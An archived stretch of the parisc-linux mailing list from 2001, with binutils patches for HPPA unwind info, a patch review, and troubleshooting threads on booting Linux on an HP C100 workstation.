	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA01443;
	Wed, 17 Jan 2001 00:02:07 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:9217

We were missing lots of unwind info, especially when using
-ffunction-sections, which confuses gdb.

gas/ChangeLog
	* config/tc-hppa.c (pa_build_unwind_subspace): Build unwind
	depending on section flags, not just for .text.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.76
diff -u -p -r1.76 tc-hppa.c
--- tc-hppa.c	2001/01/14 07:03:49	1.76
+++ tc-hppa.c	2001/01/16 12:23:05
@@ -6053,7 +6053,9 @@ pa_build_unwind_subspace (call_info)
   int reloc;
   char c, *p;
 
-  if (now_seg != text_section)
+  if ((bfd_get_section_flags (stdoutput, now_seg)
+       & (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
+      != (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
     return;
 
   reloc = R_PARISC_SEGREL32;


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Support hand-crafted .PARISC.unwind entries
Date: Wed, 17 Jan 2001 00:46:40 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101170042311.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619538 10458 80.91.229.3 (22 Nov 2014 01:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:38 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Tue Jan 16 06:43:04 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA02099
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 06:43:03 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA03040;
	Wed, 17 Jan 2001 00:46:40 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:9218

This one is useful for _init and _fini and like functions that are spliced
together from pieces.  The assembler can't create sensible unwind info for
such functions;  This little hack allows a hand-crafted solution.

gas/ChangeLog
	* config/tc-hppa.c (tc_gen_reloc): Use SEGREL32 instead of DIR32
	relocs for .PARISC.unwind section.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.77
diff -u -p -r1.77 tc-hppa.c
--- tc-hppa.c	2001/01/16 13:06:14	1.77
+++ tc-hppa.c	2001/01/16 13:39:00
@@ -4047,14 +4047,6 @@ tc_gen_reloc (section, fixp)
 
       code = *codes[0];
 
-      reloc->sym_ptr_ptr = (asymbol **) xmalloc (sizeof (asymbol *));
-      *reloc->sym_ptr_ptr = symbol_get_bfdsym (fixp->fx_addsy);
-      reloc->howto = bfd_reloc_type_lookup (stdoutput,
-					    (bfd_reloc_code_real_type) code);
-      reloc->address = fixp->fx_frag->fr_address + fixp->fx_where;
-
-      assert (reloc->howto && (unsigned int) code == reloc->howto->type);

From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Boots! (Mostly)
Date: Tue, 16 Jan 2001 08:40:43 -0600 (CST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101160839390.25295-100000@maestro.symsys.com>
References: <3A637862.C312CD12@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619538 10460 80.91.229.3 (22 Nov 2014 01:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: ingram@symsys.com  Tue Jan 16 07:37:05 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02703
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 07:37:04 -0700
Original-Received: (qmail 6747 invoked by uid 15267); 16 Jan 2001 14:40:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6738 invoked from network); 16 Jan 2001 14:40:45 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 14:40:45 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id IAA25301;
	Tue, 16 Jan 2001 08:40:43 -0600
In-Reply-To: <3A637862.C312CD12@uswest.net>
Xref: news.gmane.org gmane.linux.ports.parisc:9219

On Mon, 15 Jan 2001, Ryan Bradetich wrote:

> Greg,
> 
> I don't believe you have the latest palo version from cvs.  The latest palo
> version will append a console=tty0 or console=ttyS0 to the Kernel
> command line.
> 
> Try updating your palo, then try again.

I grabbed the one labelled as latest from the CVS directory on the FTP
site.  Is that the latest? 

- Greg


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Boots! (Mostly)
Date: Tue, 16 Jan 2001 15:00:10 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010116150010.C20275@parcelfarce.linux.theplanet.co.uk>
References: <3A637862.C312CD12@uswest.net> <Pine.LNX.4.21.0101160839390.25295-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619538 10461 80.91.229.3 (22 Nov 2014 01:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:38 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: willy@www.linux.org.uk  Tue Jan 16 07:56:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA03037
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 07:56:40 -0700
Original-Received: (qmail 3230 invoked by uid 15267); 16 Jan 2001 15:00:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3123 invoked from network); 16 Jan 2001 15:00:16 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 15:00:16 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IXak-0002HW-00; Tue, 16 Jan 2001 15:00:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0101160839390.25295-100000@maestro.symsys.com>; from ingram@symsys.com on Tue, Jan 16, 2001 at 08:40:43AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9220

On Tue, Jan 16, 2001 at 08:40:43AM -0600, Greg Ingram wrote:
> I grabbed the one labelled as latest from the CVS directory on the FTP
> site.  Is that the latest? 

dunno, does `grep ttyS0 palo/Makefile' reveal anything?  if yes, it's
the latest.  and you can always `cvs up' in the palo directory to get
the latest version.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Tue, 16 Jan 2001 15:56:29 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3A64530D.CD78EFD2@tipas.lt>
References: <3A636BE1.EE2DBF87@tipas.lt> <20010115221749.A28689@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619539 10465 80.91.229.3 (22 Nov 2014 01:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:39 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
Original-X-From: sanjak@tipas.lt  Tue Jan 16 08:06:50 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03248
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 08:06:49 -0700
Original-Received: (qmail 19478 invoked by uid 15267); 16 Jan 2001 15:10:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19228 invoked from network); 16 Jan 2001 15:10:21 -0000
Original-Received: from rfk.ff.vu.lt (193.219.83.105)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 15:10:21 -0000
Original-Received: by rfk.ff.vu.lt
	(1.38.193.4/16.2) id AA24431; Fri, 16 Jan 1998 16:46:01 +0100
Original-Received: from siny.rfk.ff.vu.lt(192.168.1.102) by rfk.ff.vu.lt via smap (V2.1)
	id xma024429; Fri, 16 Jan 98 16:45:36 +0100
Original-Sender: sanjak@tipas.lt
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.2.16 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:9221

Matthew Wilcox wrote:
> 
> On Mon, Jan 15, 2001 at 10:30:09PM +0100, Aleksandr Konstantinov wrote:
> > Can anybody explain me how to get console NOT on serial link ?
> 
> activate CONFIG_STI and use `console=tty0' instead of `console=ttyS0'.
Do You mean CONFIG_STI_CONSOLE ? I have it, and CONFIG_SERIAL_CONSOLE
too.
Palo also sets console=tty0 .  Booting goes till "Switching from PDC
console"
and then welcome message from palinux cdrom appears on serial link.




A.K.


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binfmt_som
Date: Mon, 31 May 1999 01:09:22 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <19990531010922.S1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619539 10466 80.91.229.3 (22 Nov 2014 01:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sun May 30 17:09:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA05598
	for <parisc-linux@puffin.external.hp.com>; Sun, 30 May 1999 17:09:27 -0600
Original-Received: (qmail 20849 invoked by uid 15267); 30 May 1999 23:08:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20842 invoked from network); 30 May 1999 23:08:50 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 30 May 1999 23:08:50 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id BAA19454
	for <parisc-linux@thepuffingroup.com>; Mon, 31 May 1999 01:09:22 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id BAA529504
	for <parisc-linux@thepuffingroup.com>; Mon, 31 May 1999 01:09:22 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10oEhm-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 31 May 1999 01:09:22 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9222


I was a little over-optimistic about releasing a first cut today,
I guess :-)

I've moved `som.h' from include/asm-parisc/ to include/linux/, like elf.h
& a.out.h.  I've also populated it with the structures which I've needed
so far, copied from the document below.  binfmt_som.c is still showing
extreme signs of its ELF heritage and definitely won't compile yet.

I have a question; what is `union name_pt' defined as?  It's referenced
several times in ``32-bit PA-RISC Run-Time Architecture Document
11.0 version 1.0'', page 3-56 for one example.  However, grepping the
document reveals no trace of a definition of this (or `union name_p'
for that matter).

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Tue, 16 Jan 2001 15:22:19 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010116152219.D20275@parcelfarce.linux.theplanet.co.uk>
References: <3A636BE1.EE2DBF87@tipas.lt> <20010115221749.A28689@parcelfarce.linux.theplanet.co.uk> <3A64530D.CD78EFD2@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619539 10472 80.91.229.3 (22 Nov 2014 01:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:39 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Aleksandr Konstantinov <sanjak@tipas.lt>
Original-X-From: willy@www.linux.org.uk  Tue Jan 16 08:18:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03627
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 08:18:42 -0700
Original-Received: (qmail 5592 invoked by uid 15267); 16 Jan 2001 15:22:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5571 invoked from network); 16 Jan 2001 15:22:23 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 15:22:23 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IXwB-0002Ye-00; Tue, 16 Jan 2001 15:22:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A64530D.CD78EFD2@tipas.lt>; from sanjak@tipas.lt on Tue, Jan 16, 2001 at 03:56:29PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9223

On Tue, Jan 16, 2001 at 03:56:29PM +0200, Aleksandr Konstantinov wrote:
> Matthew Wilcox wrote:
> > 
> > On Mon, Jan 15, 2001 at 10:30:09PM +0100, Aleksandr Konstantinov wrote:
> > > Can anybody explain me how to get console NOT on serial link ?
> > 
> > activate CONFIG_STI and use `console=tty0' instead of `console=ttyS0'.
> Do You mean CONFIG_STI_CONSOLE ? I have it, and CONFIG_SERIAL_CONSOLE
> too.
> Palo also sets console=tty0 .  Booting goes till "Switching from PDC
> console"
> and then welcome message from palinux cdrom appears on serial link.

then that's a bug.  i shan't be able to fix it until i have access to an
STI-capable machine, which is a few weeks away yet.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 Boots!  Really!  Got a shell!
Date: Tue, 16 Jan 2001 09:57:09 -0600 (CST)
Lines: 66
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101160937530.25295-100000@maestro.symsys.com>
References: <20010116152219.D20275@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619540 10475 80.91.229.3 (22 Nov 2014 01:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Tue Jan 16 08:53:30 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04807
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 08:53:29 -0700
Original-Received: (qmail 32527 invoked by uid 15267); 16 Jan 2001 15:57:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32507 invoked from network); 16 Jan 2001 15:57:10 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 15:57:10 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA25528
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Jan 2001 09:57:09 -0600
In-Reply-To: <20010116152219.D20275@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9224


Gentlemen,

In a previous post I reported that telnet was answering but I got a
'permission denied' error and never saw a login prompt.  I suspected that
the root file system was never being remounted as read-write.  After
appending 'rw' to the kernel command line I'm able to login via
telnet.  Woohoo!  I'm using the nfsroot tarball from the FTP site.  Might
there be a problem in it such that / isn't properly remounted?

Some other things:

Trying STI for the console didn't work.  I eventually enabled the console
on the line printer (no printer connected though) and disabled the console
on the serial port.  I stop getting messages on the serial port at:

	Set default PSW W bit to 0

but the boot continues.

Also, I find this in dmesg output:

!!die_if_kernel: sleep(52): Unaligned data reference 28
 
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001011
r0-3     00000000 40178938 4018cc7b 401760d4
r4-7     40197148 00000000 00000031 001e8481
r8-11    bb00014c bb000140 00000002 4001ada0
r12-15   4001ad7c 00000000 000929b0 00000000
r16-19   00000000 0007e808 00078440 40197148
r20-23   001e8000 40188f14 bb000414 00000008
r24-27   40190460 00000000 401760d4 00076808
r28-31   00000016 00000000 bb0006c0 4009d987
sr0-3    0000007a 0000007a 00000000 0000007a
sr4-7    0000007a 0000007a 0000007a 0000007a
 
IASQ: 0000007a 0000007a IAOQ: 4018d0ab 4018d0af
 IIR: 0c6011d4    ISR: 0000007a  IOR: 401760d4
ORIG_R28: 00000000
!!die_if_kernel: nscd(97): Unaligned data reference 28
 
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 40167938 40029c7b 401650d4
r4-7     40034148 00000000 00000031 001e8481
r8-11    bb000160 bb000158 00000001 4001ada0
r12-15   4001ad7c 00000000 0008c350 00000000
r16-19   00000000 0007e808 00078440 40034148
r20-23   001e8000 40025f14 bb000414 00000008
r24-27   4002d460 00000000 401650d4 000054dc
r28-31   00000016 00000000 bb0006c0 4008c987
sr0-3    000000f9 000000f9 00000000 000000f9
sr4-7    000000f9 000000f9 000000f9 000000f9
 
IASQ: 000000f9 000000f9 IAOQ: 4002a0ab 4002a0af
 IIR: 0c6011d4    ISR: 000000f9  IOR: 401650d4
ORIG_R28: 00000000
                                                                                
Next on the agenda:  Get Linux on the local hard drive.

Cheers,

- Greg



From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Tue, 16 Jan 2001 18:46:44 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <01011618464403.01122@P100.helgenet.de>
References: <3A636BE1.EE2DBF87@tipas.lt> <20010115221749.A28689@parcelfarce.linux.theplanet.co.uk> <3A64530D.CD78EFD2@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619540 10476 80.91.229.3 (22 Nov 2014 01:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:40 +0000 (UTC)
To: Aleksandr Konstantinov <sanjak@tipas.lt>, parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue Jan 16 10:45:06 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA05783
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 10:45:05 -0700
Original-Received: (qmail 31734 invoked by uid 15267); 16 Jan 2001 17:48:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31714 invoked from network); 16 Jan 2001 17:48:38 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 17:48:38 -0000
Original-Received: (qmail 3550 invoked by uid 0); 16 Jan 2001 17:48:32 -0000
Original-Received: from pd904033a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.58)
  by mail.gmx.net (mp013-rz3) with SMTP; 16 Jan 2001 17:48:32 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A64530D.CD78EFD2@tipas.lt>
Xref: news.gmane.org gmane.linux.ports.parisc:9225

On Tuesday 16 January 2001 14:56, Aleksandr Konstantinov wrote:
> Matthew Wilcox wrote:
> > On Mon, Jan 15, 2001 at 10:30:09PM +0100, Aleksandr Konstantinov wrote:
> > > Can anybody explain me how to get console NOT on serial link ?
> >
> > activate CONFIG_STI and use `console=tty0' instead of `console=ttyS0'.
>
> Do You mean CONFIG_STI_CONSOLE ? I have it, and CONFIG_SERIAL_CONSOLE
> too.
> Palo also sets console=tty0 .  Booting goes till "Switching from PDC
> console"
> and then welcome message from palinux cdrom appears on serial link.

Try to enable just one of both: CONFIG_STI_CONSOLE _or_ CONFIG_SERIAL_CONSOLE

Greetings,
         Helge


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Clifton <nickc@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build hppa unwind info for more than .text
Date: Tue, 16 Jan 2001 10:20:56 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200101161820.KAA24567@elmo.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619540 10478 80.91.229.3 (22 Nov 2014 01:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:40 +0000 (UTC)
Cc: binutils@sourceware.cygnus.com, parisc-linux@puffin.external.hp.com
To: alan@linuxcare.com.au
Original-X-From: nickc@redhat.com  Tue Jan 16 11:17:23 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA06379
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 11:17:22 -0700
Original-Received: from elmo.cygnus.com (elmo.cygnus.com [205.180.230.137])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA07022;
	Tue, 16 Jan 2001 10:20:56 -0800 (PST)
Original-Received: (nickc@localhost) by elmo.cygnus.com (8.9.3/8.6.4) id KAA24567; Tue, 16 Jan 2001 10:20:56 -0800
X-Authentication-Warning: elmo.cygnus.com: nickc set sender to nickc@redhat.com using -f
Xref: news.gmane.org gmane.linux.ports.parisc:9226

Hi Alan,

: We were missing lots of unwind info, especially when using
: -ffunction-sections, which confuses gdb.
: 
: gas/ChangeLog
: 	* config/tc-hppa.c (pa_build_unwind_subspace): Build unwind
: 	depending on section flags, not just for .text.

: Index: gas/config/tc-hppa.c
: ===================================================================
: RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
: retrieving revision 1.76
: diff -u -p -r1.76 tc-hppa.c
: --- tc-hppa.c	2001/01/14 07:03:49	1.76
: +++ tc-hppa.c	2001/01/16 12:23:05
: @@ -6053,7 +6053,9 @@ pa_build_unwind_subspace (call_info)
:    int reloc;
:    char c, *p;
:  
: -  if (now_seg != text_section)
: +  if ((bfd_get_section_flags (stdoutput, now_seg)
: +       & (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
: +      != (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
:      return;

Won't this create unwind info for read only data sections ?  Would
that be a bad thing ?

Cheers
	Nick


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] overuse of tables in new website
Date: Tue, 16 Jan 2001 17:01:53 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0101161658060.19995-100000@pokey.513erich.iwaynet.net>
References: <20010115133505.B29423@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619541 10484 80.91.229.3 (22 Nov 2014 01:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:41 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: herrold@owlriver.com  Tue Jan 16 14:12:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08069
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 14:12:23 -0700
Original-Received: (qmail 1421 invoked by uid 15267); 16 Jan 2001 21:16:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1376 invoked from network); 16 Jan 2001 21:16:03 -0000
Original-Received: from new.owlriver.com (root@198.30.29.42)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 21:16:03 -0000
Original-Received: from owlriver.com (IDENT:root@swampfox.owlriver.com [206.21.107.147])
	by new.owlriver.com (8.9.3/8.9.3) with ESMTP id QAA31331;
	Tue, 16 Jan 2001 16:13:37 -0500
Original-Received: from pokey.513erich.iwaynet.net (router.513erich.iwaynet.net [206.244.44.225])
	by owlriver.com (8.9.3/8.9.3) with ESMTP id QAA19493;
	Tue, 16 Jan 2001 16:13:55 -0500
Original-Received: from localhost (localhost.localnet [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id RAA23648;
	Tue, 16 Jan 2001 17:01:53 -0500
Original-Sender: <herrold@owlriver.com>
In-Reply-To: <20010115133505.B29423@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9227

On Mon, 15 Jan 2001, Matthew Wilcox wrote:

> i have similar complaints about other bits, but i can't be bothered to
> look at them closely when i have no idea whether anyone's paying any
> attention to what i think.

... I am ... I agree that you are trying to use dynamite to scrape
off the cruft.

Anyone who does not test web pages with lynx and konquerer should be
horsewhipped.

That said, the CVS generation approach is rather nice -- why not
